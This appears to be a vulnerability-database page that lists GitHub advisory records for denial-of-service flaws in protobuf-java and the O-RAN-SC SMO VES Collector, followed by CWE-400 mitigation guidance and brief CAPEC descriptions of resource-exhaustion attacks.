            {
              "fixed": "3.19.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.20.0"
            },
            {
              "fixed": "3.20.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.21.0"
            },
            {
              "fixed": "3.21.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-javalite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.20.0"
            },
            {
              "fixed": "3.20.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-javalite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.21.0"
            },
            {
              "fixed": "3.21.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-javalite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.16.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-3509"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-12-12T22:33:53Z",
    "nvd_published_at": "2022-12-12T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above.",
  "id": "GHSA-g5ww-5jh7-63cx",
  "modified": "2025-09-02T19:35:38Z",
  "published": "2022-12-12T15:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3509"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/commit/a3888f53317a8018e7a439bac4abeb8f3425d5e9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/blob/v2.6.1/java/core/src/main/java/com/google/protobuf/MessageReflection.java"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/blob/v3.0.0/java/core/src/main/java/com/google/protobuf/MessageReflection.java"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/protocolbuffers/protobuf/tree/main/java"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Protobuf Java vulnerable to Uncontrolled Resource Consumption"
}

GHSA-G5X6-J98R-MR3C

Vulnerability from github – Published: 2026-09-18 00:31 – Updated: 2026-09-18 00:31
VLAI
Details

A vulnerability was determined in O-RAN-SC SMO OAM 2025-06-10. Affected by this issue is some unknown functionality of the component VES Collector. Executing a manipulation can lead to allocation of resources. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through a bug report but has not responded yet.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-93309"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-18T00:17:49Z",
    "severity": "LOW"
  },
  "details": "A vulnerability was determined in O-RAN-SC SMO OAM 2025-06-10. Affected by this issue is some unknown functionality of the component VES Collector. Executing a manipulation can lead to allocation of resources. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through a bug report but has not responded yet.",
  "id": "GHSA-g5x6-j98r-mr3c",
  "modified": "2026-09-18T00:31:11Z",
  "published": "2026-09-18T00:31:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-93309"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/fklement/639eb04a12cc5c015f9b960b0de96d80"
    },
    {
      "type": "WEB",
      "url": "https://lf-o-ran-sc.atlassian.net/browse/SMO-203"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-93309"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/942312"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/406595"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/406595/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list